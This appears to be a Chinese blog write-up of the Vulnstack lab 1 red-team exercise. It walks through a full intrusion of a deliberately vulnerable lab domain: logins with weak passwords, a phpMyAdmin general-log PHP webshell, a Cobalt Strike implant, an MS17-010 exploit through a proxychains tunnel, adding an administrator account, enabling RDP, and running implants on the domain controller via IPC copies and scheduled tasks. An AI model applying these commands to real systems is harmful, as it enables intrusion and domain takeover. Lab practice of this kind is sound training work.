0%

红队测试系列学习笔记-Vlunstack实战靶场1

0x00 写在前面

​ 昨天电话面了奇安信红队方向,由于是第一次面试,以前也没有具体做过实验,只是看过相关文章,对概念有所了解,但其中某些具体问题的解决方法还是比较模糊,回答面试官提问的过程中也让我发现了我的许多知识盲区,故开此红队测试系列学习笔记,意在通过实战靶场演练,加强自己对整个红队测试流程的理解,提升域渗透能力。

0x01 环境搭建

1.下载VMware镜像

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

没啥说的,下载解压就完事了

2.模拟靶机内外网环境

根据靶场拓扑图

image.png

配置虚拟网络,如下图所示

image.png

其中VMnet1(192.168.31.0)作为外网网卡,VMnet2(192.168.52.0)作为内网网卡

配置虚拟机网卡

Windows 7-内外网网卡

外网IP:192.168.31.129

内网IP:192.168.52.143

Windows2008-内网网卡

内网IP: 192.168.52.138

Windows2003-内网网卡

内网IP:192.168.52.141

虚拟机配置如下

image.png

三台靶机和kali启动完毕即可

0x02 Getshell

1.基础信息搜集

http://192.168.31.128/yxcms

  • yxcms

image.png

后台弱口令:admin-123456

http://192.168.31.128/l.php

  • phpstudy 探针
image.png

获取绝对路径

1
C:/phpstudy/WWW/

http://192.168.31.128/phpmyadmin

  • phpmyadmin

弱口令 root-root

方法有很多,这里我用phpmyadmin getshell:

1
2
3
set global general_log=on;
set global general_log_file='C:/phpstudy/WWW/s.php';
select '<?php eval($_POST[1]); ?>';

2.连接shell

http://192.168.31.128/s.php

image.png

虚拟终端获取信息

1
ipconfig  /all

获得内外网信息

image.png

image.png

查看权限

image.png

….administrator权限

3.内网信息收集

方便操作,既然权限这么高,那就找到可读写目录,上传cobalt strike马儿,运行

image.png

image.png

直接上线 都不用提权..顺手关掉防火墙

image.png

继续获取信息

1
net config Workstation

获得当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称登录域

image.png
1
net view

显示当前域中的计算机列表(这里稍微有一点慢 耐心等待)

image.png

获得了当前域中的另外两台机器,其中OWA为域控主机

接下来读取一下当前机器的管理员密码

image.png

得到管理员密码

hongrisec@2019

4.横向移动&扩大权限

至此,我们收集到了足够的信息,开始横向移动

开启socks4代理

image.png

添加到proxychains中

1
2
vim /etc/proxychains.conf
socks4 127.0.0.1 6868

上传nmap扫描域内主机开放端口

  • 192.168.52.141的开放端口如下

image.png

  • 192.168.52.138的开放端口如下(域控主机)

image.png

proxychains启动msf

1
proxychains msfconsole

域内主机的445端口都是开放的,看看能不能用ms17-010打

image.png

那直接一把梭,稳妥起见,用admin/smb/ms17_010_command

先对2003下手,测试一下

image.png

SYSTEM权限

添加用户并且加到管理员组

1
2
net user lf l1fx!@# /add
net localgroup administrators lf /add

这里我把两条命令合并执行没有回显,没有执行成功

分开执行了一次就ok了

image.png

image.png

接下来开这台03机器的3389端口,proxychains启动rdesktop连接上去

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image.png

1
proxychains rdesktop 192.168.52.141

用刚刚添加的账户连上去

image.png

内网03机器上线cs,步骤如下

image.png

内网机器作为跳板 设置监听器

image.png

生成马儿 监听器是刚刚的跳板

image.png

ipc将生成的马儿复制过去

1
copy C:\Windows\Temp\inner.exe \\192.168.52.141\C$\Windows\Temp\a.exe

image.png

机器上运行马儿即可上线(若上线失败,则有可能是防火墙拦截或者监听ip错误)

image.png

还是和上面一样,向域控主机出发

5.拿下域控主机

继续ms17-010

目标域控主机:192.168.52.138

image.png

成了 继续加账户

image.png

跟上面一样 然后上线马儿,可以使用计划任务来运行马儿

具体步骤如下

1
2
3
4
5
6
ipc复制马儿过去
copy C:\Windows\Temp\inner.exe \\192.168.52.138\C$\Windows\Temp\b.exe
建立非空连接
net use \\192.168.52.138 "l1fx!@#" /user:"lf"
计划任务运行马儿
at \\192.168.52.138 01:07 C:\Windows\Temp\b.exe

image.png

看到在线的内网主机,SYSTEM权限,密码dump下来即可

image.png

至此,测试流程结束

放一张cs自带的拓补图

image.png

0x03 写在最后

通过这次具体的靶场实操,流程看着蛮简单,但是实际上手还是感觉思路不太清晰,同时发现了自己的好多知识盲区…看来光看文章是不够的,还是要自己上手做过一遍,才知道哪里有可能遇到困难,以及如何去解决困难。